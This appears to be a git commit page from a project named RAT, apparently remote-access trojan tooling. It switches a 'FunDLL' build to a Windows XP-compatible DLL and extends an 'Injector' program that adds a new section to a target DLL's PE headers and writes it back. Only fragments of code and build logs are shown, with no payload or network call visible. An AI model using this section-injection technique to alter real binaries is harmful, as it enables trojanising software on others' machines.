Switched to release and renamed some stuff

This commit is contained in:
hellisabove
2023-07-03 02:56:04 +03:00
parent 2491cb5333
commit 3d2d70ec7f
10 changed files with 36 additions and 25 deletions
+9 -8
View File
@@ -23,7 +23,7 @@
<Keyword>Win32Proj</Keyword> <Keyword>Win32Proj</Keyword>
<ProjectGuid>{c7e129b4-8a7e-4e5c-a259-573609675fed}</ProjectGuid> <ProjectGuid>{c7e129b4-8a7e-4e5c-a259-573609675fed}</ProjectGuid>
<RootNamespace>RAT</RootNamespace> <RootNamespace>RAT</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion> <WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
<ProjectName>FunDLL</ProjectName> <ProjectName>FunDLL</ProjectName>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
@@ -48,11 +48,11 @@
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries> <UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset> <PlatformToolset>v141_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization> <WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings"> <ImportGroup Label="ExtensionSettings">
@@ -128,15 +128,16 @@
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking> <FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck> <SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;RAT_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode> <ConformanceMode>false</ConformanceMode>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<MinimumRequiredVersion>5.01</MinimumRequiredVersion>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
+12
View File
@@ -1,4 +1,5 @@
#include <Windows.h> #include <Windows.h>
#include <stdio.h>
DWORD AlignSectionHeader(DWORD section_size, DWORD alginment, DWORD address) { DWORD AlignSectionHeader(DWORD section_size, DWORD alginment, DWORD address) {
if (!(section_size % alginment)) if (!(section_size % alginment))
@@ -54,14 +55,25 @@ INT main(INT arg, PCHAR argv[]) {
} }
image_optional_header->SizeOfImage = image_section_header[PESections].VirtualAddress + image_section_header[PESections].Misc.VirtualSize; image_optional_header->SizeOfImage = image_section_header[PESections].VirtualAddress + image_section_header[PESections].Misc.VirtualSize;
image_file_header->NumberOfSections += 1;
if (SetFilePointer(x_file, 0, NULL, FILE_BEGIN) != INVALID_SET_FILE_POINTER) {
// add section
WriteFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
} }
} }
} }
LocalFree(dll_buffer);
} }
} }
} }
CloseHandle(code_file);
} }
} }
LocalFree(file_buffer);
} }
CloseHandle(x_file);
}
else
printf("\nUSE: %s section name target dll\n",argv[0]);
} }
@@ -0,0 +1,12 @@
c:\users\hellisabove\source\repos\rat\injector\x64\debug\vc141.pdb
c:\users\hellisabove\source\repos\rat\injector\x64\debug\vc141.idb
c:\users\hellisabove\source\repos\rat\injector\x64\debug\source.obj
c:\users\hellisabove\source\repos\rat\x64\debug\injector.ilk
c:\users\hellisabove\source\repos\rat\x64\debug\injector.exe
c:\users\hellisabove\source\repos\rat\x64\debug\injector.pdb
c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\cl.command.1.tlog
c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\cl.read.1.tlog
c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\cl.write.1.tlog
c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\link.command.1.tlog
c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\link.read.1.tlog
c:\users\hellisabove\source\repos\rat\injector\x64\debug\injector.tlog\link.write.1.tlog
+3 -1
View File
@@ -1 +1,3 @@
 Source.cpp
c:\users\hellisabove\source\repos\rat\injector\source.cpp(26): warning C4312: 'type cast': conversion from 'BOOL' to 'PIMAGE_DOS_HEADER' of greater size
Injector.vcxproj -> C:\Users\hellisabove\source\repos\RAT\x64\Debug\Injector.exe
-15
View File
@@ -1,15 +0,0 @@
c:\users\hellisabove\source\repos\rat\rat\x64\debug\vc141.pdb
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.obj
c:\users\hellisabove\source\repos\rat\x64\debug\fundll.lib
c:\users\hellisabove\source\repos\rat\x64\debug\fundll.exp
c:\users\hellisabove\source\repos\rat\x64\debug\fundll.ipdb
c:\users\hellisabove\source\repos\rat\x64\debug\fundll.iobj
c:\users\hellisabove\source\repos\rat\x64\debug\fundll.dll
c:\users\hellisabove\source\repos\rat\x64\debug\fundll.pdb
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\cl.command.1.tlog
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\cl.read.1.tlog
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\cl.write.1.tlog
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\fundll.write.1u.tlog
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\link.command.1.tlog
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\link.read.1.tlog
c:\users\hellisabove\source\repos\rat\rat\x64\debug\fundll.tlog\link.write.1.tlog
-1
View File
@@ -1 +0,0 @@